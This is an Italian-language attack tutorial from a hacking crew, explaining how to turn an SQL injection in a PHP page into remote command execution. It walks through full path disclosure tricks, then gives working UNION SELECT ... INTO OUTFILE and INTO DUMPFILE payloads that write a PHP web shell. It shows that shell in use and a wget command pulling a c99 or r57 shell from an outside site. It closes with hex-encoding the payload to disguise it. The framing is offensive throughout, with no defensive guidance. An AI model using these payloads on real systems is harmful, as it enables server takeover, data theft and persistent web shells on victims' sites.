
#Title: Remote SQL Command Execution
#Author: SYSTEM_OVERIDE
#Category: Papers
#Crew: OverSecurity Crew
#Link: oversecuritycrew.webnet32.com, higeneration.it

Ormai nel web vulnerabilità come *SQL Injection* sono molto diffuse.

Questa tecnica colpisce le applicazioni web che si appogiano ad un database del tipo SQL (come MySQL), ed è causata da un mancato controllo sui dati che vengono ricevuti in input, lasciando modo all'attaccker di inserire del codice malevolo (nel caso della SQL Injection, del codice SQL).

Infatti con questa tecnica, è possibile ad esempio autenticarsi come Admin in un form di login, oppure dumpare interi databases al fine di avere sotto mano tutti gli ID e le Password degli utenti di un sito.
Con gli anni questa tecnica si è sempre più diffusa e migliorata.
Non mi dilungo in spiegazioni, visto che sul web è facile trovare argomenti su questa tecnica.

In questa guida invece, volevo parlarvi di un'evoluzione di questa tecnica, la *Remote Command* Execution (più precisamente, la *Remote SQL Command Execution*).
Per seguire questa guida, vi serviranno delle basi del linguaggio SQL, sapere come funziona un database che usa questo tipo di linguaggio, e conoscere le SQL Injection.
Siamo pronti, cominciamo.

Allora, per prima cosa, supponiamo di avere la nostra pagina PHP vulnerabile ad una semplice *SQL Injection* o ad una complessa *Blind*.

Chiamiamo la pagina article.php:

```
<?php
mysql_connect("localhost", "root", "password");
mysql_select_db("articoli");
$query=mysql_query("SELECT * FROM articoli WHERE id=.'$_GET['id']'.;";
$row=mysql_fetch_row($query);
?>
```

Vediamo un pò questo codice.
Avviene la connessione al database con il comando *mysql_connect* .
Viene selezionato il database *articoli* tramite *mysql_select_db* .
Viene eseguita la query all'interno delle parentesi tonde con *mysql_query* e viene messa dentro la variabile *$query* .
Vengono presi i risultati della query e messi nella variabile *$row* tramite *mysql_fetch_row* .

Questo è uno script vulnerabile, in quanto non avviene nessun controllo sui dati che entrano in input.

Potremmo provare una SQL Injection, o una Blind SQL Injection.
Ma perchè accontentarci del database, quando potremmo avere il server?

Ebbene si, questo è possibile, grazie alla *Remote SQL Command Execution* .

Infatti grazie a questa tecnica, è possibile uppare una shell sul server remoto, raggiungibile da browser, in modo da eseguire dei comandi da remoto.

Ma andiamo per gradi.

Per prima cosa, ci serve sapere la rootpath.
La rootpath è la path dove è conservata la nostra pagina article.php .
Ci serve scoprirla, in modo da sapere dove uppare la shell.

E qui che ci viene in aiuto un'altra tecnica, chiamata **Full Path Disclosure** .

Grazie a questa tecnica si è in grado di risalire alla rootpath dei webserver, in vari modi:

[1]Se, come nel nostro caso, abbiamo una variabile $_GET nell'URL, la trasformiamo in un array, mettendoci due parantesi quadre ('[]') prima del segno uguale ('='), in questo modo:

http://localhost/article.php?id[]=

Questa genererà un errore o un warnings, come questo

Warning: No such file or directory in /htdocs/var/www/cartella/article.php on line 27

fornendoci il full path dove si trova la pagina article.php (in questo caso la full path è */htdocs/var/www/cartella/article.php*).

[2]Se il sito utilizza le sessioni, con un **PHPSESSID**, possiamo annullare la sessione con un codice Javascript, in questo modo:

javascript:void(document.cookie="PHPSESSID=")

questo genererà un warnings di questo tipo:

Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /htdocs/var/www/cartella/article.php on line 52 .

[3]Se la variabile che esegue la query, è una variabile *$_GET*, possiamo forzarla ad eseguire un errori, che molto spesso contiene la rootpath, in questo modo:

http://localhost/index.php?id='

quindi mettendo dopo la variabile id, un'apice (').

Questo genera un errore del tipo:

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /htdocs/var/www/cartella/article.php on line 124 .

Bene, mettiamo il caso che la rootpath sia */htdocs/var/www/cartella/article.php* .
Esiste in *SQL*, un comando chiamato *INTO OUTFILE*, che salva il risultato di una query su un file nel server remoto.

Ad esempio, la query **SELECT * FROM articoli INTO OUTFILE 'pagina.txt',** salva tutto quello che che è contenuto nella tablla in articles, in un file che si chiamerà *pagina.txt* .
E se il file non fosse un file in formato txt, ma in formato PHP? E se questo file contenesse delle righe di codice PHP?
Se noi al posto del *, mettiamo dei caratteri o dei numeri, ce li stampa sul file.

Quindi ad esempio se mettiamo

SELECT 3,'pagina' FROM articles INTO OUTFILE 'pagina.txt

ci stampa sul file .txt la scritta *3 pagina* .

Ed è qui che avviene la tecnica.

Se noi mettiamo del codice PHP dentro una pagina PHP, potremmo eseguire del codice remoto da browser.
Ecco un esempio di query:

UNION SELECT '<?php system($_GET["cmd"]); ?>' FROM articoli INTO OUTFILE '/htdocs/var/www/cartella/shell.php--

Con questa query, abbiamo usato *UNION SELECT* per concatenare la nostra query a quella precedente, e abbiamo scritto del codice PHP in una pagina creata nella rootpath (vedete quanto ciu è stato utile sapere la rootpath), che si chiama *shell.php* .

(Il segno -- per chi non lo sapesse, indica alla query che tutto ciò che stà dopo di essa deve essere considerato come commento, e quindi non eseguito).

Questa pagina ora contiene il codice PHP **<?php system($_GET["cmd"]); ?>**, ovvero una variabile *$_GET*, che esegue comandi da remoto.
Si puo raggiungere con

http://localhost/shell.php?cmd=

Dopo il segno di uguale, possiamo mettere qualsiasi comando, che verrà eseguito sul server comando un comando *system*.
Supponendo di essere su un server Linux, possiamo eseguire il comando wget per scaricarci un'altra shell sul sito, magari una *c99* o una *r57*, uppata in un altro sito, in questo modo:

http://localhost/shell.php?cmd=wget%20http://nomesito/shell.php

Volendo esiste anche un'altra funzione, **INTO DUMPFILE**, che praticamente esegue la stessa funzione di INTO OUTFILE, solo che non salva il risultato della query ma salva ciò che noi selezioniamo.

Una SQL Injection di esempio puo essere:

'UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/htdocs/var/www/cartella/shell.php'--

Per camuffare la query, potete camuffare la stringa PHP in hex, quindi **<php system($_GET["cmd"]); ?>** diventa

0x3c3f706870207379737465 6d28245f4745545b22636d64225d293b203f3e .

Siamo alla fine, spero che sia chiaro a tutti l'utilizzo di questa tecnica, e la sua potenza.